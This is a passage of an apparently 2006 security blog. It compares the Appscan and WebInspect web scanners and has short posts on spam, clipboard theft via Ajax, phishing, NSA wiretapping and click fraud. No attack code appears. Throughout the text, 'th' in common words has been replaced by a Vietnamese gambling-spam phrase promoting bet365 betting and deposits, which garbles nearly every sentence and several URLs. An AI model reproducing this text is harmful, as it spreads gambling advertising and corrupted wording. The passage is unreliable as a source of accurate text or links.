  • Login module at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 start of scan:Appscan lets you record a login sequence as a macro whereas Webinspect gives you more options. It lets you record a login sequence as a macro or enter cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 aucá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ntication credentials in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 tool itself. The problem however with entering cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 aucá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ntication credentials inside cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 tool is that if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are wrong, Webinspect does not detects cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m as wrong and goes ahead with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 scan and hence may not scan cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 entire site. In cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r scenario, if you are using macro to record cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 login sequence, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n Webinspect records cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 complete login and logout sequence whereas Appscan only records cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 login sequence.

  • Bookmark of follow up flag on a specific attack during a scan session: None of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 tools currently have this feature.

  • External tools: Both cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 products have additional tools bundled with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m. Watchfire's power tools are not integrated with Appscan and can be downloaded and used separately. Appscan, however, provides a framework where external tools can be invoked from within Appscan. Webinspect on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r hand, have more tools and all of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m are tightly integrated within cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 product. Webinspect does not allows you to invoke an external tool from within cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 application.

  • Appscan scans for certain infrastructure vulnerabilities (like Apache, IIS, etc) whereas Webinspect does not.


This is by no means a complete report. I will add more points to it sooner so please check back again. Also, if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is something additional you would like to see in this report or if you would like to add to this report or even make changes to this report, please email me at anurag.agarwal "at" yahoo.com. I also got a chance to look at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 beta release of Appscan 7.0 and Webinspect phoenix release and if you are looking to purchase one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se two products cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n I would strongly recommend looking at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir beta releases of new versions.

Thursday, October 26, 2006

Don't let your Web app help spammers

We've all been plagued by unsolicited commercial email -- also known as spam. In fact, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Washington Post reported that spam may soon account for half of all U.S. email traffic.
Lets look at ways on how we can protect our email address from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 spammers.
read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 complete article here

Wednesday, October 11, 2006

How Ajax makes it easier to steal information from your clipboard

Cut Copy Paste has always been an important part of our digital life. Developers, as well as regular users, can't live without it. Regular users use it routinely to copy and paste information such as passwords and credit card numbers from one form to anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r. Office employees use it all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 time when creating documents. There's no denying our reliance on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Copy and Paste functionality of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 clipboard.

How would you feel if that information were stolen out of your computer?

read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 complete article here

Sunday, October 08, 2006

Taking cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 battle to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 phishers

"University of Illinois at Chicago is working with some financial institutions (he can't say which) on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 anti-phishing agent, so cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is commercial interest. "We'll be providing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m complex code, user names, and passwords," he says. "And cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y will be able to see cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 phishing traffic" and disable it and track cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 phishers for eventual prosecution, for instance. "

This would be really interesting. So far we have seen few approaches including that of building a database of phishing sites. Though that is a slow and evolving process, but not good enough to stop phishing attacks. This anti phishing agent may just be cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 answer to provide quick solution to phishing attacks.

read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 complete article here

Friday, October 06, 2006

Court OKs NSA wiretapping

http://www.wired.com/news/wireservice/0,71911-0.html?tw=wn_technology_security_3

"The Bush administration can continue its warrantless surveillance program while it appeals a judge's ruling that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 program is unconstitutional, a federal appeals court ruled Wednesday."

"The program monitors international phone calls and e-mails to or from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 United States involving people cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 government suspects have terrorist links. A secret court has been set up to grant warrants for such surveillance, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 government says it can't always wait for a court to take action."


Are cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y monitoring only what cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y have mentioned here?

Is Microsoft changing?

http://wired.com/wired/archive/14.10/microsoft.html

Something different from security but if all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 chief security architect could be as Ray Ozzie, 75% of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 security attacks we are seeing today wont be possible at all.

How safe is “hacker safe”

ID Thieves Turn Sights on Smaller E-Businesses

This article raises so many questions but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 biggest of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m all is how effective are cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se sites which are providing this kind of “hacker safe” services and who is to verify what level of services cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are providing. For all we know, it’s just a false sense of security as we found out in this case. The companies, who are totally not aware of what to do about information security, get sucked into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se kinds of services and are at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mercy of hackers.

Google victim of click fraud

This time it was google’s turn to play victim of click fraud.

http://www.cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365register.co.uk/2006/10/06/google_adsense_worm/

RE: Privacy group takes US to court over email spying

post: http://www.cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365register.co.uk/2006/10/06/eff_sues_us_govt/

What I would like to know is if US govt. can state it for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 record, that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are only using it to monitor terrorist communications and NOTHING ELSE. They have claimed that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are using it to track terrorist communications but I don’t know if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y have said only terrorist communication and nothing else?

Wednesday, October 04, 2006

To open source or not to open source

Yahoo allows outsiders to innovate on Yahoo e-mail

Yahoo has decided to open cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 underlying code of yahoo mail to outside programmers. Now this can be a good thing and a bad thing. Of course we will see a lot more applications built on top of yahoo mail, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n it is a also a nightmare from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 security point of view. On one side, since cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 source code is allowed access cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are more vulnerable to attacks. On cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r hand, how secure will be cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 newer applications which are going to be integrated with yahoo mail.

Tuesday, October 03, 2006

Taking passwords to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 grave

Interesting story on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 passwords.

http://news.com.com/Taking+passwords+to+cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365+grave/2100-1025_3-6118314.html

it brings up an interesting twist to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 whole password saga by raising a question, whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r we should store cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m in our will. Though it has a valid reason but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n isnt that against what we preach.